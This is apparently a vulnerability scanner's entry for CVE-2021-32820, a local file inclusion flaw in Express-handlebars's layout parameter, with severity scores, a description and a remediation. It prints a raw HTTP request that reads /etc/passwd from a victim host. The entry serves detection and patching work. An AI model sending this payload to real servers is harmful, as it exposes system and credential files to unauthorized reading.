| Title | Express-handlebars - Local File Inclusion |
|---|---|
| Author | dhiyaneshDk |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure. |
| Remediation | Update to the latest version of Express-handlebars to mitigate the vulnerability. |
| CVSS Score | 8.6 |
| EPSS Score | 0.90956 |
| CVE ID | CVE-2021-32820 |
| CWE ID | CWE-94,CWE-200 |
| Tags | cve2021 cve expressjs lfi xxe express_handlebars_project node.js vuln |
Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.
GET /?layout=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-32820.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-32820.pcap
N/AN/A